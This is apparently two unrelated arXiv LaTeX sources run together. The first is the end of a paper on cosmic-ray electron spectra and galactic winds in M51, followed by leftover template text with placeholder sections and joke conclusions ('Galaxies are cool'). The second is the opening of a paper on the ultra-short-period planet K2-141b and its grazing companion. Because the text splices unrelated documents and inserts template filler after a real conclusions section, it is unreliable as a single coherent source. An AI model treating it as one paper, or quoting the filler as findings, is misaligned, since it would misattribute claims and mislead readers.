All model parameters are summarized in Table \ref{tab:models}.
\begin{table}[htb]
\caption{Parameters for the magnetic field scale height $h_b$ and the height of the disk $h_d$.}
\label{tab:models}
\begin{tabular}{c|cc}
model & $h_b$ & $h_d$ \\ \hline
A & $7$ kpc & $7$ kpc \\
B & $6$ kpc & $3$ kpc \\
C\tablefootmark{a} & \multicolumn{2}{c}{$h = h(r_\mathrm{gc})$}
\end{tabular} \\
\tablefoot{\tablefoottext{a}{Variable scale heights as a function of the galactocentric radius as presented in \cite{Mulcahy2016}.} }
\end{table}
\subsection{Simulation setup}
To solve the transport equation we use the method of stochastic differential equations (SDEs) implemented in CRPropa 3.1 \citep{Batista_2016, Merten2017}.
We simulate $10^5$ pseudo-particles in the energy range of 0.01 GeV to 50 GeV. We assume a source with a injection $\mathrm{d}N/\mathrm{d}E \big|_\mathrm{source} \propto E^{-2}$. The CRE density distribution is taken for 1000 timesteps up to 500 Myr to calculate the stationary solution of the transport equation (eq. \ref{eq:transport}) following \cite{Merten2017}.
All particles reaching the boundary are lost to the inter galactic medium. The detailes of the used modules and given parameters for the simulation are given in Table \ref{tab:setup}.
We analyze the CRE spectrum in the range of $0.5 \leq E / \mathrm{GeV} \leq 6$ and fit it with a powerlaw.
\begin{table*}[htb]
\centering
\begin{tabular}{c|cc}
& module & parameters \\ \hline
propagation & \texttt{DiffusionSDE} & $l_\mathrm{min} = 0.1$ pc, $l_\mathrm{max} = 10$ kpc \\
observer & \texttt{ObserverTimeEvolution} & $N_\mathrm{step} = 1000$, $\Delta T = 500$ kyr \\
boundary & \texttt{MinimumEnergy} & $E_\mathrm{min} = 0.1$ GeV \\
& \texttt{MaximumTime} & $T_\mathrm{max} = 2.5$ Gyr
\end{tabular}
\caption{Parameters and modules for the simulation in CRPropa3.1.}
\label{tab:setup}
\end{table*}
\section{Results \label{results:sec}}
Taking the model as described before the resulting CRE spectral index is presented in Fig.\ \ref{fig:advection}, where the model without advection (green points) and including advection as described in sec. \ref{ssec:sourcedistribution} (blue points) is compared for two diffusion coefficients.
In the case of the lower diffusion and neglecting advection the spectra for all models are to steep, due to the high retention time and corresponding high energy loss. Only \textbf{[model B]} undershoots the observed data in a range slightly, but it does not show the correct radial behavior. In the case of higher diffusion \textbf{[model C]} (green circle) fits the data in the inner galaxy ($r_\mathrm{gc} < 6$ kpc) well. Only in the outer part of the galaxy a difference between the data and the model can be seen. This is due to different data for the magnetic field strength, starformation rate and spectral synchrotron index in \cite{Mulcahy2016}. Another point could be the difference be the 1D diffusion model used by Mulcahy et al. and the 3D approach in this work.
In the case where advection is taken into account (Fig.\ \ref{fig:advection}, blue points) the observed CRE spectral index is near the injection spectrum $\propto E^{-2}$. This is due to high advection speed and a quick loss of all partilces. The case of the high variation for the low diffusion models in the outer galaxy can be explained by the low number of observed pseudo-particles in this domain.
In this part of the galaxy the SFRD is so low, that there is nearly no production of high energy cosmic ray electrons. But due to the high advection speed the particles leave the simulation volume before they can diffuse in the outer galaxy.
\begin{figure*}
\centering
\includegraphics[width=0.9\textwidth]{plots/CompareAdvection.pdf}
\caption{CRE spectral index as a function of the galactocentric radius. The left panel shows the measuerd diffusion coefficient from \cite{heesen_19a} and the right panel shows the best fit value from \cite{Mulcahy2016}. The model parameters are shown in Table \ref{tab:models}. Green points indicate simulations without advection and blue point with advection. The data are taken from \cite{heesen_19a}.}
\label{fig:advection}
\end{figure*}
Following these observation, a galactic wind significantly weaker than indicated by the SFR is necessary to match the observed data. Taking this into account we introduce a scaling factor $f_\mathrm{adv}$ in eq.\ (\ref{eq:wind}) and optimize this value to fit the data best. Details on the optimization are given in appendix \ref{sec:appendix}. The final CRE indices using the optimal value for the advection normalization are shown in fig.\ \ref{fig:optimal}. It can be seen that the lower diffusion coefficient shows a significant better fit to the data. The best fit provides \textbf{model C}. In this case the optimal normalization factor is $f_\mathrm{adv} = 0.2$. The models with a constant scale height (\textbf{model A} and \textbf{model B}) does not fit the radial gradient. In the inner galaxy ($r_\mathrm{gc} \lesssim 7$ kpc) are to steep and in the outer galaxy to flat.
\begin{figure*}
\centering
\includegraphics[width=0.9\textwidth]{plots/optimal_spectra.pdf}
\caption{Radial variation of the CRE spectral index using the optimized wind speed. The model parameters are shown in Table \ref{tab:models}. The left panel shows the observed diffusion coefficient from \citet{heesen_19a} and the right panel the best fit value for the diffusion coefficient from \cite{Mulcahy2016}.}
\label{fig:optimal}
\end{figure*}
Taking the geometry of \textbf{model C} and the lower diffusion coefficient as the best fit model analyzing the timescales shows the dominant processes. In Fig.\ \ref{fig:timescale} it is shown that the escape inner galaxy ($r_\mathrm{gc} \lesssim 7$ kpc) is dominated by advection. The escape in the outer galaxy is dominated by diffusion. In the relevant energy range ($E > 2$ GeV) the energy loss time is much shorter than the escape timescale. This leads to a steepening of the CRE spectrum.
\begin{figure}
\centering
\includegraphics[width=\linewidth]{plots/losstime.pdf}
\caption{Timescales for the escape via diffusion (green line) and advection (blue line) to the z-direction. Additionally the energy loss timescale is given for 3 different energy (red lines, linestyle denotes energy).}
\label{fig:timescale}
\end{figure}
\section{Conclusions \label{conclusions:sec}}
Our best-fit model to the radial gradient of the observed CRE spectra has the following settings:
\begin{enumerate}
\item The diffusion coefficient is independent of the engergy with $D_0 = 2 \cdot 10^{28}$ $\rm cm^2\,s^{-1}$ . This result is in agreement with the measurement from \cite{heesen_19a}.
\item The scale height for the escape of CREs depends on the galactocentric radius. We use $h_d = 3.2$ kpc for the inner galaxy ($r_\mathrm{gc} \leq 6$ kpc) and increase it linearly up to $h_d = 8.8$ kpc at $r_\mathrm{gc} = 12$ kpc.
\item The advection speed following the SFRD is reduced by a factor of 5 compared to the measurements in \cite{heesen_18b}. The discrepancy can possibly be explained by the fact the radio continuum observations use global SFRD values with $\Sigma_{\rm SFR}={\rm SFR}/(\uppi r_\star^2)$, where $r_\star$ is the radial extent of the star-forming disc. If the wind is launched from the central area of the galaxy, the SFRD would be correspondingly higher if one were to use an effective radius $r_e\approx r_\star/2$, this would reduce the advection speed normalisation in eq.~\eqref{eq:wind} by a factor of 2. While these advection speeds may still be sligtly to high, the wind velocities of the ionised gas as measured by \citet{heckman_16a} are in fair agreement with our new results.
\end{enumerate}
We conclude that the escape of CREs is governed by different mechnisms in the inner and outer part of M51: the inner galaxy ($r_\mathrm{gc} \leq 7$ kpc) appears as an advection-dominated region, while the outer galaxy is best-described by energy-independent diffusive escape. This is basically consistant with the picture of a wind being present. In contrast to previous results, however, our best-fit model results in a wind that is a factor of 5 smaller as derived indirectly from star-formation rate. Finally, we can show here that with a 3D transport model, it is possible to constrain the propagation environment of CREs, concerning diffusion and advection. More specifically, the 3D modeling represents an additional way of indirectly deducing the strength of a wind velocity of the face-on galaxy M51, opening the possibility to systematically investigate galactic winds for face-on galaxies in general.
\section{Introduction}
References can be citet as \citet{heesen_18b} or \citep{heesen_18b} or \citep[see also][]{heesen_18b}.
1 solar mass is $1~M_\sun$.
\section{Methodology}
An example for a more complicated equation:
\begin{eqnarray}
\Gamma_3 - 1 = \frac{P}{\rho T} \frac{\chi^{}_T}{c_v}&>&0\\
\Gamma_1 = \chi_\rho^{} + \chi_T^{} (\Gamma_3 -1)&>&0\\
\nabla_{\mathrm{ad}} = \frac{\Gamma_3 - 1}{\Gamma_1} &>&0
\end{eqnarray}
Tables, I usually put them extra and not in the tex file.
\input{tables/fitting}
Figures, I normally combine either as full width figures or I use single-column figures.
\begin{figure*}
\includegraphics[width=\textwidth]{figures/maps2.pdf}
\caption{Radio continuum maps converted to star-formation rate surface density ($\Sigma_{\rm SFR}$\xspace). The scaling is logarithmic between $10^{-4}$~$\rm M_{\odot}\,yr^{-1}\,kpc^{-2}$ and $3\times 10^{-1}$~$\rm M_{\odot}\,yr^{-1}\,kpc^{-2}$. In the top row are LOFAR LBA 55~MHz, LOFAR HBA 144~MHz, and WSRT 1365~MHz. In the bottom row are VLA+Effelsberg 4850 MHz and 8350~MHz. In bottom right, the hybrid $\Sigma_{\rm SFR}$\xspace-map is shown for comparison. The angular resolution is 20~arcsec FWHM for all maps, except for LOFAR LBA where it is $47.7$~arcsec. The radio continuum maps appear to be the smoothed versions of the hybrid $\Sigma_{\rm SFR}$\xspace-map as expected for CRE diffusion.}
\label{fig:maps}
\end{figure*}
\begin{figure}
\includegraphics[width=\columnwidth]{figures/diff.png}
\caption{Cosmic-ray transport models. We show the transport length as function of CRE lifetime. The solid line shows the best-fitting diffusion model with energy-independent diffusion; the dashed line shows the best-fitting streaming model; the dotted line shows the best-fitting diffusion model with an energy-dependent diffusion coefficient with $D\propto E^{1/3}$. Our data favours energy-independent diffusion.}
\label{fig:diffusion}
\end{figure}
\section{Conclusions}
I also like the itemized conclusions.
\begin{enumerate}
\item Galaxies are cool.
\item Simulations are even better.
\item Our paper combines the best of both worlds.
\end{enumerate} |
1,477,468,750,032 | arxiv | \section{Introduction}\label{sec:introduction}
The origin of ultra-short period (USP) planets, i.\,e. , planets with periods shorter than one day and radii smaller than 2 \mbox{R$_\oplus$} , is still unclear. An early hypothesis suggested that USP planets and small planets in general were originally Hot Jupiters (HJs) that underwent strong photo-evaporation due to the high insolation flux, \citep[e.\,g. , thousands of times that of Earth,][]{LecavelierdesEtangs2004} ending up with the complete removal of their gaseous envelope and their solid core exposed. The paucity of gas giants observed in the photo-evaporation desert, i.\,e. , the region around a star where only solid cores of once-gaseous planets could survive, is the most convincing proof of evaporation as a viable process to form small planets \cite[e.\,g. ,][]{LecavelierdesEtangs2007,Davis2009,Ehrenreich2011,Beauge2013}. In the case of USP planets, \cite{SanchisOjeda2014} also found an occurrence rate of USP planets similar to that of HJs using data from the {\it Kepler} mission, but recently, thanks to Keck spectroscopy on a magnitude-limited subset of the same sample, \cite{Winn2017} discovered that the metallicity distributions of the two populations are significantly different, thus rejecting the idea of a common origin. The same study supports a similar hypothesis in which the progenitors of USP planets are not the HJs but the so-called mini-Neptunes, i.\,e. , planets with rocky cores and hydrogen-helium envelopes, typically with radii between 1.7 and 3.9 \mbox{R$_\oplus$}\ and masses lower than $\sim 10$ \mbox{M$_\oplus$} .
An origin of USP planets as photo-evaporated mini-Neptunes is also consistent with the lack of planets with radii between 2.2 and 3.8 \mbox{R$_\oplus$}\ with incident flux higher than 650 times the Solar constant \citep{Lundkvist2016}, the gap between 1.5 and 2 \mbox{R$_\oplus$}\ in the population of planets with periods shorter than 100 days \citep{Fulton2017}, and the multiplicity of USP planets, typically found with small companions at longer periods \citep{SanchisOjeda2014}.
While observations of known HJs have confirmed the stability of their atmospheres against evaporation \citep[starting from ][]{Vidal-Madjar2003}, and theory has always struggled to explain the strong photo-evaporation that HJs should undergo to become USP planets \citep[e.\,g. ][]{MurrayClay2009}, removing the outer envelope of a mini-Neptune is theoretically less challenging and several models have successfully reproduced the properties of observed USP planets using either photo-evaporation \citep[e.\,g. ,][]{Lopez2017} or improved models for Roche lobe overflow \citep[e.\,g. ,][]{Jackson2017}, in agreement with observations of mini-Neptunes undergoing evaporation \citep{Ehrenreich2015}. Alternatively, USP planets may represent the short-period tail of the distribution of close-in rocky planets migrated inwards from more distant orbits \citep[e.\,g. ,][]{LeeChiang2017} or formed in-situ \citep[e.\,g. ,][]{Chiang2013}, although the latter hypothesis would have difficulties explaining the presence of thick envelopes accreted within the snow line.
It appears clear that only a systematic study of the internal and atmospheric composition of USP planets, in conjunction with the amount of irradiation to which they are subjected and the presence of other companions in the system, can shed light on their origin. In order to do so, we need precise and accurate measurements of both their radius and mass. Most of the {\it Kepler} and {\it K2} USP candidates orbit stars too faint for precise radial velocity (RV) follow-up, and so far only a handful of USP planets have reliable density estimates.
In addition to discovering most of the USP planets known to date, the excellent quality of {\it Kepler} data has also revealed the secondary eclipse and phase variations of two of them, namely Kepler-10b \citep{Batalha2011} and Kepler-78b \citep{SanchisOjeda2013}. If USP planets were really lava-ocean worlds, their atmospheres would be likely made of heavy-element vapors with a very low pressure and, being tidally locked, would experience extremely high day-night contrasts \citep{Leger2011}. Consequently, the bottom of the secondary eclipse is expected to be about at the same level as just before/after the primary transit, when only the nightside of the planet is in view. This seems to be the case with Kepler-78b \citep{SanchisOjeda2013} and Kepler-10b \citep{Esteves2015}, even though a non-negligible night-side temperature for the latter has been reported by \cite{Fogtmann-Schulz2014}. The geometric albedos of both planets could not be well constrained because of the degeneracy between thermal and reflected light in the Kepler bandpass, which could be broken with observations of the occultation and phase curve at IR wavelengths \citep[e.\,g. ,][]{Schwartz2015}. Noteworthy is the attempt by \cite{Rouan2011} to use a lava-ocean model to interpret the optical occultation and phase curve of Kepler-10b.
In this paper, we report on the discovery, characterization, and confirmation of an USP planet, and the discovery and validation of an outer companion planet with grazing transits around an active K4 dwarf, \mbox{K2-141}\ (EPIC~246393474), discovered in the Campaign 12 data of the {\it K2} mission and then observed with the high-precision HARPS-N spectrograph for radial velocity confirmation. We tackled the determination of mass and radius of the star, which ultimately can affect the planets' properties, using three independent methods for the atmospheric parameters and including any additional data available from the literature. After validating the planets, we measured their masses using three methods that rely on different assumptions for the stellar activity modeling, to ensure that our mass estimates are not biased by a specific choice of stellar activity treatment. We compare the density obtained for \mbox{K2-141b}\ with the distribution of USP planets in the mass-radius (M-R) diagram. We also detected the secondary eclipse and phase variations of planet b in the {\it K2} light curve, and used this information to constrain the geometric albedo of the planet and its thermal emission. \footnote{A paper on the validation and mass measurement of \mbox{K2-141b}\ has been submitted to {A\&A} by The {\it KESPRINT} consortium while this paper was already in an advanced state of preparation.}
\section{Observations}\label{sec:observations}
\subsection{{\it K2} photometry}\label{sec:kepler-photometry}
\mbox{K2-141}\ first came to our attention after it was observed with the {\it Kepler} space telescope during Campaign 12 of its extended {\it K2} mission\footnote{The star was proposed as a target from the following {\it K2} General Observer programs: 12071, D. Charbonneau; 12049, E. Quintana; 12122, A. Howard; 12123, D. Stello; 12904, {\it K2} GO Office.}. \mbox{K2-141}\ was observed by {\it K2} for about 80 days between 15 December 2016 and 4 March 2017, with a loss of 5.3 days of data due to a safe mode state, presumably caused by a reset of flight software. Afterwards, the data were downlinked to Earth, processed by the {\it Kepler} pipeline to calibrate the raw pixel level data, and released publicly. We downloaded the data for \mbox{K2-141}\ and all other targets observed by {\it K2} during Campaign 12 from the Mikulski Archive for Space Telescopes (MAST)\footnote{\url{https://archive.stsci.edu/k2/}}, produced light curves from the calibrated pixel files following \cite{Vanderburg2014}, and searched for transits as described by \citet{Vanderburg2016}. Our transit search identified a strong signal at a period of only 6.7 hours. Using {\tt LcTools}\footnote{Available at \url{https://sites.google.com/a/lctools.net/lctools/home}} \citep{Kipping2015}, we color coded this signal in order to enhance the visibility of hidden candidate signals, and a subsequent visual inspection of the {\it K2} light curve revealed a second planet candidate with a period of 7.75 days. The duration of the second transit signal is short and V-shaped -- consistent with a planet transiting in a grazing architecture -- which is likely why our automated search pipeline failed to identify the signal. We pinpoint a total of nine transits of \mbox{K2-141c}\ during the {\it K2} baseline, one transit was lost while {\it Kepler} was in safe mode. All overlaps of the two planets consist of single long cadence data points and none of these are located at mid-transit. We confirmed the periodicity with a subsequent, more thorough analysis following the prescriptions of \cite{Bonomo2012}.
The full {\it K2} light curve is shown in Figure~\ref{fig:EP246393474_K2_LC}. In addition to the two transiting signals, there is a clear modulation (total excursion of 0.015 mmag) most likely due to the stellar activity of the star.
After removing the stellar activity signal from the {\it K2} light curve and phase-folding the data to the orbital period of \mbox{K2-141b}, we also identify the signal of the secondary eclipse of this planet, centered around phase 0.5 and with a duration consistent with that of the primary transit. In addition to the eclipse signal, we observe what appears to be modulation of the light curve with phase. We further explore these features in Section~\ref{sec:secondary_analysis}. We repeated this analysis for planet c, and did not find any evidence of a detectable phase curve or secondary eclipse.
\begin{figure}
\includegraphics[width=\linewidth]{figure_01.pdf}
\caption{{\it Top}: {\it K2} light curve of \mbox{K2-141} . {\it Bottom:} A portion of the light curve is shown to highlight the two transiting planets.}
\label{fig:EP246393474_K2_LC}
\end{figure}
\subsection{Radial Velocities}\label{sec:radial_velocities}
We collected 44 spectra using HARPS-N at the Telescopio Nazionale Galileo (TNG), in La Palma \citep{Cosentino2012}, with the goal of precisely determining the mass of the USP planet. To reach this goal we followed a twofold strategy: we gathered at least two points each night (when weather allowed) in order to remove activity variations by applying nightly offsets \citep[e.\,g. ,][]{Hatzes2011,Pepe2013}, and we observed the target for a duration of a few stellar rotations to be able to use Gaussian process regression \citep[e.\,g. ,][]{Haywood2014, Rajpaul2015} to model the stellar activity signals directly.
At the magnitude of our target ($V=11.5$), HARPS-N delivers an average RV internal error of 2.9 \mbox{m s$^{-1}$}\ for a single exposure of 1800 seconds (average \snr~of~$42 $ at 5500 \AA ), to be compared with an instrumental stability better than 1 \mbox{m s$^{-1}$}\ \citep{Cosentino2014}. In other words, our error budget is largely dominated by photon noise.
Therefore we chose the {\it objAB} observational setup, i.\,e. , the second fiber (fiber B) observed the sky instead of acquiring a simultaneous Fabry-Perot calibration spectrum to correct for the instrumental RV drift.
Data were reduced using the standard Data Reduction Software (DRS) using a {\tt K5} flux template (the closest match to the spectral type of the target) to correct for variations in the flux distribution as a function of the wavelength, and a {\tt K5} binary mask to compute the cross-correlation function (CCF) \citep{Baranne1996, Pepe2002}. We corrected the spectra for Moon contamination as explained in \cite{Malavolta2017a}, {and found that only two spectra were strongly affected by sky background.
The resulting RV data with their formal 1$\sigma$ uncertainties and the associated activity indices (see Section~\ref{sec:stellar_activity} for more details) are listed in Table~\ref{table:RV_table}.
\begin{table*}
\caption{HARPS-N Radial Velocity Measurements }
\label{table:RV_table}
\centering
\begin{tabular}{c c c c c c c c c }
\tableline\tableline
BJD$_{\rm TDB}$ & RV & $\sigma _{\text RV}$ & BIS & FWHM & \mbox{S$_{\rm HK}$} & $\sigma_{\text \mbox{S$_{\rm HK}$} }$ & H$_{\alpha}$ & $\sigma_{\text{H} \alpha }$ \\
$[$d$]$ & [\mbox{m s$^{-1}$} ] & [\mbox{m s$^{-1}$} ] & [\mbox{m s$^{-1}$} ] & [\mbox{km\,s$^{-1}$} ] & [dex] & [dex] & [dex] & [dex] \\
\tableline
2457972.6416 & -3379.6 & 2.3 & 44.1 & 6.955 & 0.964 & 0.019 & 0.2938 & 0.0010 \\
2457989.5731 & -3383.9 & 3.9 & 51.0 & 6.951 & 0.951 & 0.037 & 0.2901 & 0.0018 \\
2457991.5524 & -3373.2 & 4.7 & 33.5 & 6.918 & 0.959 & 0.048 & 0.2876 & 0.0012 \\
... & ... & ... & ... & ... & ... & ... & ... & ...\\
\tableline
\end{tabular}
\tablecomments{Table \ref{table:RV_table} is published in its entirety in the machine-readable format. A portion is shown here for guidance regarding its form and content.}
\end{table*}
\section{Stellar parameters}\label{sec:stellar_parameters}
For late-type stars like our target, systematic errors in the stellar photospheric parameters due to different assumptions and theoretical models largely dominate the internal error estimates for the most diffused methods, e.\,g. , see the spread in temperature and metallicity in the case of the bright star HD219134 \citep{Motalebi2015}.
In this work we obtained the stellar photospheric parameters with three complementary methods, and we assumed $\sigma_{T_{{\rm eff}}} = 100$~K , $\sigma_{\text{log\,{\it g}}} = 0.2$, $\sigma_{[{\rm Fe}/{\rm H}]} = 0.06$ as a good estimate of the systematic errors regardless of the internal error estimates, for all methods. This choice also avoided privileging one technique over the others when deriving the mass and radius of the star.
\paragraph{Empirical calibration} {\tt CCFpams}\footnote{Available at \url{https://github.com/LucaMalavolta/CCFpams}} is a method based on the empirical calibration of temperature, metallicity and gravity on the equivalent width of CCFs obtained with selected subsets of stellar lines, according to their sensitivity to temperature. We refer the reader to \cite{Malavolta2017b} for more details on this method. CCFs were computed on the individual spectra and then co-added for their equivalent width measurement. We obtained $T_{{\rm eff}}$~$ = 4713 $~K, \logg~$ = 4.76$ (after applying the correction from \citealt{Mortier2014}) and \gfeh~$ = -0.15$.
\paragraph{Equivalent widths} The classical curve-of-growth approach consists in deriving temperature and microturbulent velocity \vmicro\ by minimizing the trend of iron abundances (obtained from the equivalent width of each line) with respect to excitation potential and reduced equivalent width respectively, while the gravity \logg\ is obtained by imposing the same average abundance from neutral and ionized iron lines. Equivalent width measurements were carried out with {\tt ARESv2}\footnote{Available at \url{http://www.astro.up.pt/~sousasag/ares/}} \citep{Sousa2015}, while line analysis and spectrum synthesis was performed using {\tt MOOG}\footnote{Available at \url{http://www.as.utexas.edu/~chris/moog.html}} \citep{Sneden1973} jointly with the {\tt ATLAS9} grid of stellar model atmosphere from \cite{Castelli2004}, under the assumption of local thermodynamic equilibrium (LTE). We followed the prescription of \cite{Andreasen2017} and applied the gravity correction from \cite{Mortier2014}. The analysis was performed on the resulting coaddition of individual spectra. We obtained $T_{{\rm eff}}$~$ = 4518 $~K, \logg~$ = 4.76$, \gfeh~$ = 0.00$ and \vmicro~$= 0.63 \pm 0.35$~\mbox{km\,s$^{-1}$} .
\paragraph{Spectral synthesis match} The Stellar Parameters Classification tool ({\tt SPC}, \citealt{Buchhave2012, Buchhave2014}) performs a cross-correlation of the observed spectra with a library of synthetic spectra and then interpolates the resulting correlation peaks to determine the best-matching effective temperature, surface gravity, metallicity and line broadening.
The quoted results are the average of the values measured from each exposure. We obtained $T_{{\rm eff}}$~$ = 4622 $~K, \logg~$ = 4.63$, \meh~$= 0.00$ and \vsini~$ = 1.5 \pm 0.4 $~\mbox{km\,s$^{-1}$} .
\medskip
We determined the stellar mass and radius using {\tt isochrones} \citep{Morton2015}, with posterior sampling performed by {\tt MultiNest} \citep{Feroz2008,Feroz2009,Feroz2013}. We provided as input the parallax of the target from the Tycho-GAIA Astrometric Solution ($p=17.0 \pm 0.8 $~mas, $d= 59 \pm 3 $~pc, \citealt{GAIAcoll2016a, GAIAcoll2016b}) plus the photometry from the Two Micron All Sky Survey (2MASS, \citealt{Cutri2003,Skrutskie2006}) and the Wide-field Infrared Survey Explorer (WISE, \citealt{Wright2010}). We did not use the GAIA magnitude because it was not consistent with the measured parallax and the wide-band photometry. For stellar models we used both MESA Isochrones \& Stellar Tracks (MIST, \citealt{Dotter2016,Choi2016,Paxton2011}) and the Dartmouth Stellar Evolution Database \citep{Dotter2008}. To assess the influence of the broadband photometry and the different photospheric parameters, for each set of spectroscopic parameters we performed the analysis including both or only one of the photometric sets, for a total of nine posteriors sampling distribution for each parameter.
From the median and standard deviation of all the posterior samplings we obtained \mbox{$M_\star$}~$=0.708 \pm 0.028$~\mbox{M$_\odot$}\ and $ \mbox{$R_\star$} = 0.681 \pm 0.018\ \mbox{R$_\odot$} $. We derived the stellar density \mbox{$\rho_\star$}~$ = 2.244 \pm 0.161$~\mbox{$\rho_\odot$}\ directly from the posterior distributions of \mbox{$M_\star$}\ and \mbox{$R_\star$}\ .
The astrophysical parameters of the star are summarized in Table~\ref{table:stellar_parameters}, where the temperature, gravity and metallicity are those obtained from the posteriors distributions, in a similar fashion to mass and radius, and take into account the constraint from GAIA parallax. The \mbox{$\log {\rm R}^{\prime}_{\rm HK}$}\ quoted in the table was obtained using the calibration from \cite{Lovis2011} and assumed $B-V=1.19$ instead of $B-V=0.69$ as listed in the Simbad catalogue \citep{Wenger2000}, which is not consistent with the spectral type of the star. The chosen value is set by the upper limit in the calibration, which is however well within the error bars of the outcome of the isochrone fit, $B-V = 1.21 \pm 0.20$. Nevertheless, this estimate of \mbox{$\log {\rm R}^{\prime}_{\rm HK}$}\ should be taken with caution.
\begin{table}
\caption{Astrophysical parameters of the star.}
\label{table:stellar_parameters}
\centering
\begin{tabular}{l c c }
\tableline\tableline
Parameter & Value & Unit \\
\tableline
\noalign{\smallskip}
EPIC number & 246393474 & \\
2MASS alias & J23233996-0111215 & \\
$\alpha_{\rm J2000}$ & 23:23:39.97 & hms \\
$\delta_{\rm J2000}$ & -01:11:21.39 & dms \\
\mbox{$R_\star$}\ & $ 0.681 \pm 0.018 $ & \mbox{R$_\odot$} \\
\mbox{$M_\star$}\ & $ 0.708 \pm 0.028 $ & \mbox{M$_\odot$} \\
\mbox{$\rho_\star$} & $ 2.244 \pm 0.161$ & \mbox{$\rho_\odot$} \\
\mbox{$\log (L_\star / L_\odot )$}\ & $-0.75 \pm 0.04 $ & - \\
$T_{{\rm eff}}$\ & $ 4599 \pm 79 $ & K \\
\logg\ & $ 4.62_{-0.03}^{+0.02}$ &- \\
\gfeh\ & $ -0.06_{-0.10}^{+0.08}$ & - \\
distance & $ 61 \pm 2 $ & pc \\
A$_V$ & $0.14_{-0.10}^{+0.14}$ & mag \\
age & $ 6.3_{-4.7}^{+6.6}$ & Gy \\
\mbox{$\log {\rm R}^{\prime}_{\rm HK}$} & $-4.6 \pm 0.1$ & - \\
\tableline
\end{tabular}
\end{table}
\section{Stellar activity}\label{sec:stellar_activity}
The precise and continuous coverage provided by {\it K2} photometry offers the best chance to determine the stellar rotation period and put a lower limit to the decay time scale of the active regions. In the following, we performed the analyis on the {\it K2} light curve after removing those points affected by a transit, using the solution in Section~\ref{sec:photometric_analysis}.
The Generalized Lomb-Scargle (GLS, \citealt{Zechmeister2009}) periodogram of the light curve and the bisector inverse span (BIS) detected a main periodicity around 7 days. The spectroscopic activity diagnostics, namely the Full Width Half Maximum (FWHM) of the CCF, the \mbox{$\log {\rm R}^{\prime}_{\rm HK}$}\ index \citep{Lovis2011}, and the H$\alpha$ index \citep{GomesDaSilva2011,Robertson2013}, however, did not confirm this result, all suggesting instead a main periodicity around 14 days (Figure~\ref{fig:GLS_periodograms_all}). The auto correlation function on the {\it K2} data, computed as described in \cite{McQuillan2013}\footnote{As implemented in \url{https://github.com/bmorris3/interp-acf}} also converged to 14 days.
We note that the lack of precise photometry in the $B$ and $V$ bands prevented us from determining an accurate \mbox{$\log {\rm R}^{\prime}_{\rm HK}$}\, so we decided to analyze the \mbox{S$_{\rm HK}$}\ index instead.
\begin{figure}
\includegraphics[width=\linewidth]{figure_02.pdf}
\caption{Generalized Lomb-Scargle periodogram of the RVs, the {\it K2} light curve and spectroscopic activity indices. A first analysis of the {\it K2} data and bisector inverse span (BIS) returns a main periodicity around 7 days, which could be mistaken as the rotational period of the star if the other activity indices are not considered. Subsequent analysis confirmed a rotational period around 14 days.}
\label{fig:GLS_periodograms_all}
\end{figure}
An accurate value for the rotational period of the star is of paramount importance for the correction of activity induced signals. To understand the disagreement between the {\it K2} light curves and the activity indices we followed the recipe of \cite{2017arXiv170605459A}, who suggest a Gaussian process (GP) with a quasi-period covariance kernel function as a more reliable method than those mentioned above to measure rotational periods of active stars. We performed our analysis using version 5 of {\tt PyORBIT\footnote{Available at \url{https://github.com/LucaMalavolta/PyORBIT}}} \citep{Malavolta2016}, a package for RV and activity indices analysis, with the implementation of the GP quasi-period kernel as described in \cite{Grunblatt2015}, from which we inherit the mathematical notation, through the {\tt george\footnote{Available at \url{https://github.com/dfm/george}}} package \citep{Ambikasaran2015}.
Since GP regression ordinarily scales with the third power of the number of data points, to ease the analysis of the {\it K2} dataset we binned the light curve every 3--4 points, paying attention that all the points within a bin belonged to the same section within two transits and checking that the binning process did not alter the overall shape of the light curve. For the activity indices this step was not required. We obtained
$P_{\rm rot} = 13.9 \pm 0.2 $ d from the {\it K2} light curve,
$P_{\rm rot} = 13.7 \pm 0.2 $ d from the BIS, and similar values from all the other activity indices,
thus confirming that the peak seen in the GLS periodograms of {\it K2} and BIS corresponds to the first harmonic of the true rotational period. The decay time scale of active regions $\lambda$ and the coherence scale $w$ were constrained only in the {\it K2} data, with $\lambda = 12.8 \pm 1.0 $ d and $ w = 0.34 \pm 0.02 $, and a covariance amplitude of $h_{\rm K2} = 0.0031 \pm 0.0004$~mag.
Finally, we note that despite the high level of activity of the star, no evident correlation is seen between the RV and the activity indices (Figure~\ref{fig:GLS_correlations}), meaning that a simple linear correlation model would likely fail in removing the activity signal from the RV observations.
\begin{figure}
\includegraphics[width=\linewidth]{figure_03.pdf}
\caption{Corner plot of the activity indices and RVs. The contribution of planet b has been removed from the RVs to highlight the correlation with the activity indices. The Pearson correlation coefficient $\rho$ is reported only when its $p$-value is lower than $10^{-2}$. FWHM, \mbox{S$_{\rm HK}$}\ and H$\alpha$ are strongly correlated with each other but only weakly with the RVs, suggesting that a more complex model to correct for stellar activity is required.}
\label{fig:GLS_correlations}
\end{figure}
\section{Planets validation}\label{sec:planets-validation}
Both planets were subjected to a validation procedure in order to calculate the false positive probability (FPP) for each planet. The full details of the analysis will be described in Mayo~et~al.~(submitted). Here we give a brief summary for the reader's convenience. Our validation process was conducted with Validation of Exoplanet Signals using a Probabilistic Algorithm, or {\tt vespa}. {\tt vespa} is a public package \citep{Morton2015b} based on the work of \citet{Morton2012}. It analyzes input information such as sky position, parallax, stellar parameters, broadband photometry, light curve shape, and contrast curves. {\tt vespa} then creates a representative stellar sample for the true positive scenario and each false positive scenario (i.e. eclipsing binaries, background eclipsing binaries, and hierarchical eclipsing binaries). For each scenario, the sample is cut down to the subset of systems which reproduce the input observations. Finally, the ratio between the number of remaining false positive scenarios and the number of total remaining scenarios is returned as the FPP. In our case, for each planet we provided {\tt vespa} with the equatorial coordinates, a GAIA parallax, stellar photospheric parameters ($T_{{\rm eff}}$ , \logg , \gfeh ), J, H, and K broadband photometry from 2MASS, a normalized light curve (with the other planet's transits removed), and three contrast curves extracted from one adaptive optics image and two simultaneous speckle images collected at the 3-m Lick Observatory telescope and using NESSI at the 3.5-m WIYN Observatory telescope respectively \citep[][Scott et al. in prep.]{Howell2011}.
The speckle and adaptive optics images were obtained from the Exoplanet Follow-up Observing Program (ExoFOP) for {\it K2} website\footnote{\url{https://exofop.ipac.caltech.edu/k2/}}.
